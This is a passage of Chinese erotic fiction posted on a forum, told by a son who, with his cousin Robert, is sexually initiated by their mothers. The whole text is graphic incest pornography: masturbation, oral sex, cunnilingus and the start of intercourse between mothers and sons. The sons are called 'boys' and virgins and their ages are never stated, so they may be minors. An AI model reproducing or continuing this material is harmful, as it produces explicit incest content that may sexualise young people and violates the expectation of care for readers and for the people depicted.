「看吧,小伙子们,这叫花唇,在花唇的庇护中,这裡便是女人的小穴,男人叫它淫穴。你们正是从这裡钻出来的……」
水,是冷的。但此刻,在我们心中不断汹涌的水,却是暖的,会燃烧的,它火辣辣地往下蔓延著,一直往下,往下……
在我们的面前,母亲的手指插入了她那个早已经湿淋淋的小淫穴,一出一进的,不断地抽插著……
在赤条条的母亲的面前,两个大男孩手握著坚硬无比的肉棒,站在那裡不断地抽动著……
婶婶两眼紧紧瞪著我们的肉棒,不断地伸出舌头,弄湿著自己的嘴唇,她的手,已经不知不觉中摸上自己那个大乳房上,先是慢慢地搓弄著,渐渐地,她越揉越用力,整个乳房在她的手中不断地变换著形状……
妈妈的口中发出令人炫醉的呻吟声。
婶婶的口中也发出了断断续续的呻吟声。
呻吟声扑进我们的耳鼓,洪流更猛,温度更高,它们不断燃烧著我们的心,焚炙著我们的血。心在狂跳,血在沸腾!
我们的手越抽越快,越抽越快……
此时的情景,奇特极了,古怪极了,赤裸的妈妈,赤裸的儿子,四个人赤条条地相对著,母亲在手在玩弄著自己的秘部,儿子的手在抽动著自己的肉棒。
一切,便是如此,大家儘管在傻呼呼地,自己干著自己!
哈,真妙!
「噢,我的,亲爱的芭芭拉,他们已经很大了!」妈妈的手指在自己的小穴中不断地出没,她的口中发出呻吟一般的声音。
「唔……唔……」婶婶在回答,她用她的呻吟声来回答。此刻,她的手也像妈妈一样,早插入她那个小穴中去了。
洪流更猛,血液更热,它们不断地下沉,一直衝向我们的肉棒。肉棒在我们的手中,已经硬得不能再硬,胀得不能再胀,在我们的抽动之中,它们连连地弹动,发出一阵阵的胀痛。
胀痛刺激著我们的神经,突然,洪流瞬间倾泻,先后灌入我们的肉棒中,「卟卟卟」地化作一道道优美的絃线,往外狂喷而出……
完了,随著屁股的不断抽搐,我们的肉棒先后在一阵阵的抖动中结束了它的任务。
兴奋仍然如涟漪一般,尚在我们脑海中扩散,但一切已经结束了。我们只是两手仍然握著那喷完精液的肉棒,低低地俯著头。
我们不敢看我们的妈妈!
作为儿子,赤条条地在自己母亲的眼皮上手淫,喷精,我们还有什麼好意思看她们!
「好迅猛的喷射!」妈妈两眼发光,待我们的精液结束的时候,她才把自己的手指从小穴中抽出来,湿淋淋的,轻盈地从沙发上站了起来。
「终於结束了。」妈妈甜甜地说道,「过来吧,我亲爱的小伙子们,来。坐在沙发上。」
我们低著头,向著沙发走过去。
芭芭拉也不得不把自己的手抽出来,从沙发上站了起来,给我们让坐。呵,一直都处於保守状态的她,手指也像妈妈一般,湿淋淋地粘满一手指她小穴中的淫液!
我们毫不客气地坐在沙发上。然后,妈妈看著我们说:「现在,该是教你们如何从一个小男孩变为大人了。」
她笑咪咪地看著我们,问:「你们準备好跟我们一起作爱了吗?」
火,又让妈妈的话燃点起来了。
我们又能说什麼!
「唔,哦,是的!」我们无法控制自己的情绪,也无法正常地进行回答。
「那好吧。」妈妈赤条条地两膝跪在地上,她跪在我跟罗拔的中间,然后,伸出两手,仍然湿满著她的淫液的手,左手握起我的肉棒,右手则捏著罗拔的鸡巴不断地抽动了起来。
「虽然,已经射过精了,但过一会儿,它们又会变成大丈夫了。」一边抽动著,妈妈一边看著我们说。
「你看,你们的肉棒又开始发硬了。它已经想著马上要当大丈夫了。」妈妈笑著对我们说。一边说著,她的手一边在我们的肉棒上抽动著。
「噢……」她的口中发出唱歌一般的呻吟声。
「现在,我的孩子,我们就从口交开始我们的授业吧。」说著,她把头往我的胯下俯下来,张开她那性感的小嘴,吐出舌头,先连连在我的龟头上舐起来,然后,头一俯,我的肉棒已经全部没入她的小嘴中。
在这之前,我一直有过无数的幻想,那些幻想中,当然有女人为我口交的场面,只不过,我完全没有想到,第一次口交竟然在这个夏夜中进行,而第一个为我进行口交的,并非别人,却是生我养我的母亲!
我想,此刻罗拔的两眼会冒烟吧!当他看著我的妈妈为我口交,看著我的肉棒湿满著妈妈的唾液,不断地从她的小嘴中出没,虽然,我妈妈的手仍然握著他的肉棒,一边为我口交,一边不断地为他上下抽动著,但看著我那十分享受的模样,他的两眼不冒烟才怪!
妈妈的头在起伏,我的肉棒在她的小嘴中不断地吞吐著,想不到,她的小舌头是如此的温暖,如此的湿滑,它始终卷在我的肉棒上,随著它的一出一进,不断地上下拖动著。
舒服哦,我的头仰进来了。口中再也无法压得住我的呻吟声。一股暖暖的爱意,渐渐地再次从我的心底中升起来……
但是,妈妈并没有让我过於的放纵,她一听到我的呻吟声,当即停止了为我口交的动作。她把我那胀挺的肉棒从她的口中抽了出来,然后,看著罗拔,用她那柔软的小手连连的为他抽动著。
她的头又慢慢地俯下去,一直俯到他的肉棒上,像刚才对我那般,吐出红红的小舌尖,轻轻地挑动著他的马眼。一会儿才慢慢地含著他的肉棍子,一直往她的喉咙深处插进去。
此刻,婶婶赤条条地站在一旁,但她的两眼不眨地看著,她看著我妈妈为她的儿子口交。
「芭芭拉,难道你不想吗?」妈妈抬起头,突然对正看得入迷的婶婶说道:「你看,你儿子的肉棒多大!」
她一边说著,一边用手把罗拔的肉棒抽动了两下。然后,她把自己的位置让了出来。
芭芭拉没有说什麼,她两膝跪下,两眼紧紧地盯著自己儿子那又长又粗的肉棒,然后轻轻地握在手中,缓缓地抽动了起来。
「孩子,你喜欢妈妈这样做吗?」婶婶抬起头来,勇敢地看著自己的儿子,温柔地问。
「当然,妈妈,你舐它吧,就像苏珊婶婶一样舐它吧。」罗拔答道。
芭芭拉听著儿子如此说,她再没有说什麼,只是把头向儿子的胯下俯去,用嘴叼著罗拔的肉棒,慢慢却有点不自然地抽动起来了。
儘管,她的动作很不自然,但罗拔却并不在意。他只管在尽情地享受著。
是呀,肉棒在女人的口中,就算再慢,但温暖的舌头,湿润的嘴巴,还有女人的温柔,那一点不令我们男人陶醉,我们还能说些什麼?还是享受吧!
就在婶婶为罗拔含舐的时候,妈妈并没有停下来,她把头俯在我的胯下,小嘴张开,再一次把我的肉棒吞进去,然后,她开始全心全意的口交授业了。
与婶婶不同,妈妈的动作流畅,放纵而又稍带点粗野,她的头不断在上下起伏,她的嘴唇紧紧地夹著我的肉棒,一边抽动,一边还在不停地吮吸著,当即,起居室中响起了「嘖嘖嘖」的吮吸声……
呻吟声,又开始在这火热的房间中不断。我在呻吟,罗拔在呻吟,我们的妈妈也在呻吟。只是,我和罗拔的呻吟是情不自禁,是响亮的。而我们的妈妈的呻吟却只从她们的喉咙中发出,沉闷地发出。
无论是什麼声音,呻吟总是呻吟,它时时在表达著自己的快意。
我两手时而握著拳头,时而紧紧地抓著沙发,时而,又用力地扯著妈妈的头髮,把她的头压下去,拖起来,又压下去。
罗拔头往上仰著,浑身紧紧地绷著,口张得大大的,成了O型,久久不能合拢。
不管我们的反应如何,我们的妈妈还是那样,不断地把她们的头起伏著,让肉棒不停在她们的小嘴中出没。
「哦………」一阵阵的快感传入我的脑海,当我意识到它的出现时,已经迟了,我只觉得从我那光滑的龟头上不断地传来一阵阵快感,我浑身发紧,下体一抽搐,一股暖流已经衝向马眼,向著妈妈喉咙的深处射了进去。
就在我射精的时候,妈妈并不介意,肉棒仍然不停地大在她的小嘴中吞吐,从我马眼中狂喷而也的液体,滑入她的喉咙,滞於她的口中,随著我的肉棒不断往下滑落著,妈妈一边吮吸著,一边把我喷出的精液往肚子裡吞著,直到肉棒在一连串的弹动之后,液体已经乾涸时,她才有点恋恋不捨地用她的舌头,小心地为我清洁著,把最后一滴液体捲入她的腹中。
呵,那是一次多麼美妙的口交,而妈妈给我的却又是何等热情的款待!
此时,罗拔也已无法控制自己,他两眼看著肉棒在他妈妈的嘴中出没有著。
当儿子的精液往婶婶的小嘴中狂喷而出时,她两眼睁得老大老大的,好像不点不相信,她不相信自己的儿子的精液竟会射入自己的喉咙!然而,她终於美美地闭上两眼,不失时机地把口中的的营养品吞进自己的肚裡.一边吞,她的嘴仍然不停地含著著她儿子的肉棒,催促著它加速喷射。
终於,我们的肉棒在妈妈的舌头下再次清洁乾净了。
我们美死了,我们已经在天上飘动!
我们终於第一次尝试过口交的滋味,我们第一次在妈妈的口中射精,这是何等值得怀念的事!
「哈哈哈,真的不愧是处男,连喷出的精液比别人的要香。」妈妈神情满足地说著。
我,罗拔已经懒得出声,我们还在刚才妈妈嘴裡射精的兴奋中。仍然迷醉在乱伦的高潮中!
妈妈站起来,对我们说道:「现在,我们的小伙子们,是时候到我的房间去了。」
说完,她自己已经抢先往楼上走去。到她的房间?我们已经知道那意味著什麼!跟著妈妈的背后,我和罗拔的步履无比轻鬆地走著,跟刚才下楼的时候,已经有头天渊之别,尤其,在我们的面前,是妈妈的屁股。那用牛油和乳脂製成的屁股!
一路往上走,我的目光真的是忙不过来,它始终盯在妈妈那雪一般白的屁股上!我偷眼楂了罗拔一下,他的目光同样粘在那雪白的臀瓣上,看著他,我怀疑他会不会连口水也流出来。
可惜的是,芭芭拉婶婶却在我们的背后!
评价一下你浏览此帖子的感受
精彩
唯美
震惊
专业
无聊
灌水
愤怒
回复引用举报顶端
tzy4926
级别: L6
五星勋章
显示用户信息
1楼 发表于: 2012-09-26 只看该作者 ┊ 小 中 大
未成年,人兽等内容违反美国法律,我们不接受且一旦你分享任何相关内容将会立即封号处理并保留法律证据。
随著妈妈进了房间。妈妈站定了。
床,就在她的后面,但她没有坐,也没有躺,她只站在我们的面前。那一身雪白的肌肉嫩生生地裸在的我们的眼前。虽然,刚才已经看过了,看得很彻底。但现在,我们好像都得了健忘症,已经忘记了刚才所看到的一切。两眼,再次盯在她的身上,上下移动著,越看越想看,越看越爱看。
「我美吗?孩子?」妈妈两手按著自己那条雪白的腿,慢慢地往上滑著,无形中,我们彷彿著了魔,两隻眼睛也随著她的手,移到她那两条白生生的玉腿上。妈妈的腿,修长,结实,浑圆,充满著野性的力量。她那两隻同样雪白的手,紧紧地贴在它的上面,划上小腹,她好像无意地滑向她的耻丘,绕著耻丘,她慢慢地划著圆,在她悠然的动作中,我们发现,她的耻毛虽然浓浓的,黑呼呼的一大片,但它们的排列却是分佈得那麼有规律,中间密密的一团,越往外长,便越稀少,那些不多的边缘区,却一根一根的往外伸延著,令人担心它会在我们不注意的时候,突然往外爬了出去。
看著妈妈的耻毛,我突然想起了电波,不断往外幅射开去的电波!眼前,那往外扩散的无数耻毛,不正是那有形的,往外幅射著的电波吗!
妈妈的手开始按到她那些黑呼呼的毛儿上,悠悠地向上移动,我们两眼紧紧地盯著她的手,欣赏著耻毛被她的手吞没,再调皮地从她的指缝中探出头来,然后害羞地躲回妈妈的手中,慢慢地现出它们的本来面目。当最后一根耻毛也从她的掌中露出来的时候,妈妈的手并没有停下来,她滑上她那柔软的腹部,用指尖点著她那个又大又深的脐眼,轻轻地环绕,划起圈子来。
她的一手在划著圈子,另一隻手却慢慢地继续往上移,滑过那清晰可见的腓骨,推上她那两团丰挺的肉球,然后,好像是一个艰辛的攀登者,慢慢地往上游著,一边游动,一边还不断地揉弄著那团白肉,白肉在不断地变形,她的屁股也开始了轻轻地扭动。待她两隻手指紧紧地捏著她那个早已经尖挺的蓓蕾时,她的口中已经开始唱歌一般的呻吟。
妈妈,你在干什麼?
但,无论妈妈她在干什麼,已经足够了,因为,我们的性慾再次被挑动起来了!
妈妈的手重新回到腹上,并没有停留,她重新滑回肚子上,然后再次慢慢地往下滑著。於是,我们的目光又再次落回她那往外扩散的有形电波上。电波消失了,手掌按住了它们压在它们的上面,慢慢地往下推去,随著手的下没有,它们一根一根了耸立起来,惺惺然地,向著我们发出强烈的挑逗。
「我美吗,孩子?」妈妈再次问起了我们。
眼睛已经被她的手粘住了,我们不能抬起来看她,口,不知怎的,口水特别多,我们只顾著不断地吞嚥著口水,不能回答她。但,她不美吗?她真的美,此刻的她,不但美,简直美得足以跟希腊的女神维纳斯相比。但我们说不出话来,我们只能在吞著口水,连连把头点个不停。
「谢谢你们的讚赏,我的小伙子们。」妈妈一边说著,向著我们撩人心弦地一笑。她的手一边按在她那两腿之间的挤压处,轻轻地按著那个小分叉。此时,我们的两眼已经不再受她的控制了,我们不但看著那条小肉缝,我们还把目光移进她的两腿之间,深入到它们的深处去。那裡,在两腿的挤压中,两片肌肉可爱地隆起著,褐褐的顏色,似垅,似墁,更像一个发酵到恰到好处,刚刚被烤熟的麵包,麵包的中间,一道切痕,正好端端正正地把那高高隆起的麵包切为两半。
我们在吞嚥著口水,用力地吞嚥著。是不是肚子饿了,真的想要吃点什麼?
「嘻嘻嘻,美吗?」妈妈的手伸到下面去,用力地把麵包拉开。裡面,红红的秘缝,显得更加清晰可见。最妙的,就在那条粉红色的秘缝上尖尖地露出红红的一根硬肉芽,逗人地往外吐著。
女人,我们并非没有看过,不穿衣服的裸体女人,我们在杂誌中也看过不少,坐的,站的,裸裎著一双豪乳的,暴露出圆圆的大肥臀的,拢著两腿躺在床上,张开秘部趴在床上的,各式其式,应有尽有,但是,我们从来没有看过如此性感、如此令人心动、如此教人热血澎湃的女人!真的!此刻,我们的两鼻几乎要喷血,连两眼也简直要跳出来了!
太美了!太妙了!
慾火,又在心中急剧地升腾。本来已经疲软的肉棒,已经开始再次要作怪了!
我和罗拔楞楞地站在那裡,不知自己到底要干什麼.芭芭拉到什麼地方去了?我们已经再也顾不上了,只听见,在我们的背后,也传来响亮地吞嚥口水的声音。
「还要看吗?」妈妈一脚踏在床面上,一脚仍然在地上不动,她那双柔软的手,轻轻地,搂著自己雪白的腿,慢慢地抚摸著,当手滑到上面来,她就会一路摸上她的秘部,拉开她的小花蕾,露出她颗红红的小肉粒,尖尖的手指用力地按在它的上面,一圈又一圈了反覆揉弄起来,另一隻手慢慢地摸到她那个小穴中,竖起中指,轻轻地推开花唇,小心地往裡面插进去。
慢慢地拉出来,再慢慢地插进去。
她没有再看我们,只顾著自己在揉弄著,抽插著,她的口中,那令人陶醉的呻吟声更是醉人。
我们的两眼要喷火了,热血在我的体内势辣辣的焚炙著,肉棒越挺越硬,越挺越硬了。
唉,真的难受极了!
妈妈好像完全不理会我们的感受。她把脚放了下来,身体开始在我们的面前慢慢地转动,她那个用牛油和乳骼製成屁股,再次圆圆的,紧紧地绷起,轻微带著颤动,出现在我们的眼前。她两手伸到背后,轻轻地拍打著,让她那个雪白的部位在我们的面前,湖水一般地不断发出一串串的涟漪。涟漪从她的屁股上开始,一直颤呀,颤进我们的心裡去,太动人了!
涟漪还在微微地泛动著,却让她的两手制止了。她两手在她那片白花花的臀瓣上,渐渐地用著力。本来紧紧地併拢在一起,只露出窄窄的一道小缝的部位,随著她两手的用力,慢慢地张开。一边拉动,她的上身再次慢慢地往下俯著。
臀瓣,被用力地分开著。身体,慢慢地往下俯著。
她最神秘的地方,慢慢地现出它们的原形。先是她那浅红色,佈满著褶皱的小屁眼,然后,是她那个紧紧地併拢在一起的小蜜桃。
蜜桃,仍然泛著水光,清清楚楚地暴露在我们的眼著。
此刻,女人在我们的面前,已经再没有什麼秘密,但,即使是再没有秘密的女人,却有她的吸引力。
妈妈的吸引力在迸发。势不可挡!
「孩子,看到了吗?」我也说不清,到底妈妈是在发问,还是在呻吟。
她一边说著,一手仍然留在手面,另一手却重回到前面去。
前面的手,透过她的两腿,伸到后面来了。
后面的手,已经放开了臀瓣,慢慢地滑下去。
一手,插入她的小穴中。
另一手,却慢慢地压在她的屁眼上!
然后,妈妈两手肘支著床面,慢慢地从地上爬到床上。小心地仰面躺了下来。
「芭芭拉,你了来吧。」
在妈妈的招呼声中,芭芭拉也爬了上去,一起躺著,只留下我们呆呆地站在地上,目不转睛地看著她们的肉体。
「现在我们该怎麼办?」罗拔问。
「怎麼办?当然是把精液再次射出来了。」妈妈俏皮发答道。
芭芭拉让妈妈的话逗笑了。
我和罗拔相互的看了一眼,像我一样,他的手也握著自己的肉棒,张大著嘴巴,正在慢慢地抽动著。然后,我们再看著床上的妈妈。
床上,我妈妈的手指仍然插在自己的小穴中,像我们一般,正在慢慢地抽动著,她一边让自己的手指在小穴中滑出滑进,一边看著有点不知所措的我们,微笑著说:「我的小男人们,难道,你们还想在我的小穴前手淫一次吗?」
转过头去,看著也有点难堪的芭芭拉,她用肘子顶了顶她,说:「芭芭拉,把你的小穴张开一些,好让我们的孩子知道自己该怎麼办吧。」
彷彿,她在给芭芭拉作著提示,她两腿慢慢地往腹下收著,随著她的两腿的收缩,她下体的秘穴渐渐地分开了,本来,已经张开的小缝,越张越大,光溜溜的,带著她小穴中渗出的淫水,在灯光下微微地泛著淫猥的光泽。光泽似在告诉我们,那是宝贝,让我们去採摘。
玉腿慢慢地顶著她那个雪一般白嫩的屁股,她并没有再分开,反是紧紧地併拢起来,用两手紧紧地抱著,把自己的腿慢慢地往胸前拉过去,随著她那两条玉腿的渐渐升高,她的秘唇再次暴露无遗在我们的眼前,跟刚才不同的是,刚才还是一马平川,大河宽敞而浩荡,两岸两堤低平,现在是风光尽敛,不溪乍现,两岸高高地耸立,於壅在一起,紧紧地挤压著,小溪浅窄,只成一线。
像麵包,也像一个过熟的蜜桃,带著微微的褐色,却平添几分吸引力。
她两腿继续往上收拢,本来软绵绵地冒在穴下的肉团,渐渐地消失,慢慢地被压得扁扁的臀部再次构成一个圆,极美,极美,明显地带著挑逗力的圆。
蜜桃、密缝、圆臀,还有那道深不可测的臀沟,一切,再一切在倾泻著男人无法抵挡的魅力……
与我妈妈不同,芭芭拉也把两腿张开了,只是,她没有用手搂,只是平平地张开著,可能,在她的内心,慾火已经焚烧起来了吧。她一边把她那片小花瓣大大地拉开,尖尖地从她那粉红的秘缝中挺起一隻孤舟,孤舟微微泛黑,似钢铁所铸,就在那微微的黑色中,仿如初绽的花朵,一点白白的影子隐约出现在孤舟的顶端。孤舟乘著风,破著浪,已经在她那条浅浅的小沟中啟航。她的另一隻手,也并没有閒著,那尖如春笋的手指正紧紧地压在孤舟的旁边,慢慢地转动著。
虽说,她只是两腿微线,但她那平日最隐密之处,此刻己是暴露无遗,虽然小秘缝的顏色与我妈妈的无甚差异,但是,她两岸似是用肥沃的泥土堆砌的,褐色更深,黑光更显,更妙的是,肥沃的泥土上,竟有几根芳草,在风中微微地抖动。
她柔弄著,一开始,还是慢慢地在罗拔的面前绕著圈,但随著时间的推移,她越压越用力,越旋越快,喘息声已经从她的鼻孔中隐约可闻,她揉著、压著、转著,两腿不断地压在床面上,把她那佈满芳草的小肉丘挺起,就在她不断往上挺的时候,她的口中已经开始发出令人感觉梦囈的呻吟!
呻吟迷濛,只是,床面上那一黑一白的下体,却极为明显,我们两眼顿有忙不过来的感觉。
「孩子,你们真的不愿过来吗?」就在婶婶那梦囈一般的呻吟中,妈妈用同样迷濛的音调对我们说。
於是,我们醒来了,从梦幻中醒来了。
是呵,如此妙人,如此妙处,已经全部为我们展开,我们为什麼还在它们的面前徘徊!
於是,我和罗拔连忙扑了过去,彷彿,他害怕我一下子佔有了他的妈妈,他一爬上床,就往婶婶的身边偎去,而我,嘿嘿嘿,就算你不抢,当然也会选择我的妈妈!
「孩子,妈妈美吗?」
又是那一句话,还是那种令人梦游一般的声音,我的妈妈两腿仍然压在她的胸前,只是梦囈一般地问著。
「美!美!当然美!」我情不自禁,马上忙不迭地回答。
「既然这麼美,孩子,你不想玩一玩吗?」
「玩?怎麼玩?」真是有点傻呼呼,我不知道为什麼会问那一句话来。
「是不是要妈妈教你才懂呢,我的小男人!」
嘿嘿嘿,那还用教吗?妈妈一言提醒梦中人。
到底罗拔在干什麼?我只听见婶婶发出呻吟声,但我却不再去管他了。我把头俯到妈妈的秘唇著,两手按著她那个刚被烤透,新鲜出炉一般的小麵包,小心地分开著,緋红緋红的,神秘的小河再次出现在我的眼前,如此的近,以致那刚被剜出的小蚌肉那粘糊糊地包裹著一层什麼的,我也亲眼看得清清楚楚,跟婶婶的一样,同样是孤舟,但妈妈的却不同,妈妈的孤舟并非用钢铁所铸,是似玉非玉的物质铸成的,特别的动人。
就在孤舟的顶端,我惊异地发现,在一层薄薄的皮的包裹下,裡面亮亮的,半隐半露地现出一个小白点,那白点,像我的龟头,也是如此的光滑,也是如此的鲜嫩!在书中,我不止一次地看到过,这,便是女人的阴蒂,但亲眼所见的,而且如此奇异地看到的,却是我的第一次!
我激动了,心跳得很厉害,忍不住,我用手指轻轻地揉弄起它来。
「嗯……」妈妈浑身一抖,鼻翼当即发出响亮的喘息声。
「别弄得那麼大力,会痛的。」在喘息中,她轻轻地提醒著我,梦囈一般地提醒著我。
「知道了。我会小心的。」我兴奋地回答道。
「哦……哦……好,太好了……」在我的旁边,婶婶芭芭拉正在大声地呻吟著。
她的呻吟声吸引了我,我偷偷地斜著眼睛一看,原来,罗拔正在为他的妈妈吃著小穴,只见他用舌面紧紧地压在婶婶的秘唇上,用力地往上拖动著。
哈,原来如此。
我的兴趣,仍然在妈妈的小豆豆上,刚才,妈妈和婶婶已经不止一次地干过给我看,就算是白痴,也懂得如何揉弄那小点点了。我把拇指压在那光滑的小点上,一按一轻,一轻一按,随著我的每一下动作,妈妈的身体同时作出最适当的反应,颤抖,一次又一次地颤抖著,不止如此,她那个佈满著小褶縐的菊穴,也在我的按动下一张一合地,可爱极了。
像她们那般,我用力地压著,慢慢地向四周旋转起来,这一下,妈妈再也受不了了,她的口中已经开始呻吟,随著她的呻吟声,我感觉到,她那两片肥肥的秘唇,也彷彿在颤抖著。
小穴、小穴呢?从书上看得多了,但是,我从来没有看过妈妈的,我要看一看,我要亲眼看一看。
我的手指慢慢地张她那两片肥厚的花唇,一直滑向她那紧紧地挤拢成一个蜜桃模样的下部,就在两腿的分叉处,我轻轻地把花唇张开,就在小河过,我找到了妈妈那两片薄薄的小肉片,欣赏著那跟大花唇顏色深浅的别的小肉片。我轻轻地把它们分开,立刻,一片的嫣红出现在我的眼前,就在那一片的嫣红中,清清楚楚地现出了一个小小的孔穴。
很奇怪,小小的小孔,只有小指般的大小,那能容纳下那麼多的东西,我知道,我是从这地方出生的,为什麼这地方如此奇怪,如此的窄窄之处,竟然生出一个那麼大的人来。
一时间,我楞住了,真的令住了。我楞在茫然中,楞在迷惑裡.「孩子,既然已经把它张开了,你不去看一看吗?」妈妈仍然是用她那梦囈一般的呻吟声在对我说著。
对,我为什麼不进去看一看呢。於是,我像妈妈那样,竖起中指,小心地对著那个圆圆地露出的小孔,轻轻地插进去。
「嗯……」我的手指才进了半截,妈妈的嘴裡已经哼了出来,她浑身又是一抖,两腿用力的紧绷了起来。
湿湿的,滑滑的,暖暖的,一种令我无比舒适的感觉,当即把我的手指紧紧地包裹了起来,隐约中,彷彿有一种轻微的吸力,把我的手指往裡面微微地吸动著。我无法再抵受它的魅力了,再也顾不上妈妈,稍稍一用力,我的整隻手指已经全部插到她那个温暖的小穴中去。
呵,多美妙的感觉!这就是女人!我当年从这裡出生,现在,我的手又回到这裡来了!
看来,它仍然没有把我忘记,它以它的温暖和热情,紧紧地搂抱著我,让我尝到再次回到老家的感觉。
我的轻轻地把手指拉出来,只见一层晶莹的液体,湿淋淋地粘在我的手指上面。我知道,这是我妈妈的淫液!
手指,已经不再听我的使唤了,它刚从我出生的地方抽出来,再次马上插回那裡去,一出一进的,越来越快,越来越快。
「哦、哦,美、美,」妈妈的手有点无法搂动她那两条白生生的玉腿,她的腿不断地滑著,随时準备溜回床面上去。
「太好了,好,快一点。对,再快一点,我美死了!」
妈妈在喘息。妈妈在呻吟。妈妈的身体在颤抖!
在妈妈的呻吟中,我的手指更加用力地插动著,随著我的插动,妈妈不断地颤抖,不断地呻吟。
终於,我抽回了手指,伸到鼻子底下嗅了嗅,但,我无法分辨得出,那是什麼味道。
手指没有给我什麼味道,但从妈妈的秘唇上,却发出一阵我刚才在起居室中嗅过的气味。
气味,有点不寻常,因为,它不断地钻进我的鼻孔中,不断地激起我心内的慾念。我知道,那也是从妈妈的小穴中渗出的,但我就是不明白,为什麼密唇跟我的手指的味道完全不一样呢?
我伸出舌头舐了舐,仍然是那样。
为什麼?我疑惑了。
刚才,肉棒已经有点不听我使唤,开始作软了,但从妈妈的秘唇上传来的气味,却令它再次地振奋,它又在跳动了。
我把鼻子凑在妈妈的秘唇,轻轻地呼吸著,让那种令我亢奋的味道慢慢地沁入我的心脾。突然,我想起了堂哥。
对,堂哥在吃他的妈妈,我为什麼不也试一试吃一吃妈妈呢?
我吐出了舌头,看著妈妈那孤舟,舌尖对著那个更加隐密的小白点,轻轻地挑了一下。
「呀……」想不到,就那麼轻轻地挑,妈妈竟然尖叫起来了。
妈妈的尖叫声更惹起了我的好奇,我坚硬地挺起我的舌尖,更加用力地对著它,迅速地连连挑逗著。
此时,妈妈好像已经浑身乏力,她的两手再也无法搂抱自己那两条白生生的玉腿了,她鬆开手,按著我的头,她的两腿重重地放到床面上。
「哎呀……哦……噢………」妈妈不断地呻吟著,她发出不同的呻吟声,看来,她兴奋极了。
侧著我的小舌尖,我沿著她那道緋红的小秘缝,慢慢地往下舐去,就在我的舐动下,妈妈的身体不断地从床面上挺起,然后,再无力地躺回床面去,她按在我头上的手,时而紧紧地把我按著,时而又用力地扯著我的头髮。
舐著她那两片薄薄的小花瓣,我先是用舌尖把它们分开,然后,又好奇地用两唇紧紧地把它们夹著,用力地吸入我的嘴裡.「噢……」
妈妈的身体僵硬地绷著,两腿紧紧地把我夹在她的中间。但就是这时候,我的舌尖已经开始在她的玉门前面试探了一下,接著,像深深地插向她那个小小的淫穴中。
这一次,我又感受到了她的縻肌的温暖和热情。我只觉得,我的舌头一插进去,一股带著硷味的液体,已经流进我的口中!
是什麼?我已经没有再去注意,我尖尖地挺著我的舌头,不断地,一下又一下地,往那个滑溜溜的地方插著。
「哦,美死妈妈了。美死妈妈了!」
在我的舌头的抽插中,妈妈的身体不断地扭动著,绷紧著,时而挺起,时而直直地,一动不动,但她的手,却始终没有离开我的头,她紧紧地按著,用力地按著,每当我把舌头插到她淫穴中的时候,她就死死地压著它,不想让我动,只好让我尽量地深入……
「噢,我受不了了,孩子,来吧,妈妈再也受不了了。」妈妈在不断地呻吟著,她的两腿大大地分开,但她的手却按著我的头,不让我自由地摆动。
妈妈的喘息越来越重,我的呼吸也越来越浊。
终於,我离开妈妈的下体了……
我的肉棒已经在开始作痛起来了!
「来吧,孩子。」妈妈在连连地催促著我我。
我才压向妈妈的肉体,她已经急不及待地伸出手来,紧紧地搂抱著我:「孩子,该是真正的性交开始了。」
我的肉棒已经贴著她的小穴,她把手伸了下去,摸到我的肉棒,然后,轻轻地握在手中,慢慢地引导著我,对著她的穴门,情至此时,已经无用她再指点我什麼,我已经知道我该如何办了。
轻轻一点,凑著妈妈的小穴的淫水,光滑的龟头已经进了一部份。妈妈身体一抖,口中「嗯」地一声,随即又叫道:「对、对,我的孩子,就是这样了。插吧,插进去,快点插进去吧。」
在妈妈的呻吟声中,我慢慢地,向著她那个发紧的小穴插著。嘿,真的不可思议。想不到妈妈的小穴,比迪士尼乐园更有趣!
我刚一进入,暖暖的,湿湿的,滑滑的肌肉当即就把我的肉棒紧紧地裹了起来,我插得越深,它裹得越紧,滑溜溜的,一种不可思议的火热,不断地刺激著我那充满著陌生,充满活力的年轻宝贝。爽呀,爽得我当即「哦」地一声,美上天去了。